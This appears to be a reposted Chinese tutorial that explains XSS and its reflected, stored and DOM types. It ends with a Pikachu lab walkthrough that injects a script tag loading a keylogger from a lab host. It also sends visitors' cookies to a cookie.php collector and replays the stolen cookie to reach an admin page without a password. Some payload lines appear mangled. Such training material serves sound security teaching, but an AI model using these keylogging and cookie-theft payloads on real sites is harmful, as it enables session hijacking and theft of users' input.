XSS基本概念和原理介绍
1. 基本概念
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混 淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意JavaScript代码,当用户浏览该页 面时,嵌入Web里面的JS代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的 攻击。 在一个Web页面上,有一种很常见的功能是将用户输入的内容输出到页面上。但是如果这里输入的内容 是一段经过构造的JS代码,提交之后再次访问这个页面时,用户就会获取该JS代码在浏览器端执行的结 。 通过构造其他相应的代码,攻击者可以执行更具危害的操作。
2. XSS分类
2.1 反射型 非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务 器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS主要是GET类型。
2.2 存储型 持久型,常见的就是在博客留言板、反馈投诉、论坛评论,将恶意代码和正文都存入服务器的数据库。 每次访问都会触发恶意代码。 例如: alert(/xss/)
2.3 DOM型 文档对象模型Document Object Model(DOM)是一个与平台、编程语言不相干的接口,允许程序或 脚本动态地访问和更新文档内容、结构和样式,处理后的结果会成为展示页面的一部分。 DOM型xss其实是一种特殊类型的反射型xss,也被称作本地跨站,它是基于DOM文档对象模型的一种 漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,出发XSS靠 的是浏览器的DOM解析,完全是客户端的事情。 DOM中有很多对象,其中一些对象可以被用户所操纵,如url,location等。客户端的脚本程序可以通 过DOM来动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的 数据后并在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有 经过严格的验证,便会产生基于DOM的XSS漏洞。 基于DOM的XSS是反射的特例,其中JavaScript隐藏在URL中,并在其呈现时由页面中的JavaScript取 出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的WAF或其 他防护检测不出恶意内容。
XSS键盘记录
我们利用pikachu靶场来演示
首先我们会用到pikachu自带的一个脚本/var/www/html/pkxss/rkeypress/rk.js
然后将脚本中的内容改成自己的地址
这时候我们构造一个js代码:<script src="" target="_blank">http://10.0.0.7:81/pkxss/rkeypress/rk.js">
然后插入到存储型XSS中
我们打开XSS后台
进入后台
选择键盘记录
回到前端随便输入些东西
后台可以记录下输入的内容
cookie获取
我们到前台的xss盲打输入payload
查看平台源码,可知需要通过cookie.php来获取cookie
查看cookie.php
使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参 数为 document.cookie
<script>document.write('')</script>写入payload
访问后台地址 http://10.0.0.7:81/vul/xss/xssblind/admin_login.php 并输入用户名/密码 登录
可以看到我们刚刚插入的数据
然后我们回到后台查看cookie信息,获取到cookie
我们将cookie信息输入cookie-editor
添加好之后,直接访问 http://10.0.0.7:81/vul/xss/xssblind/admin.php 页面,可以绕过密码直接登录访问
版权归原作者 梓桐sama 所有, 如有侵权,请联系我们删除。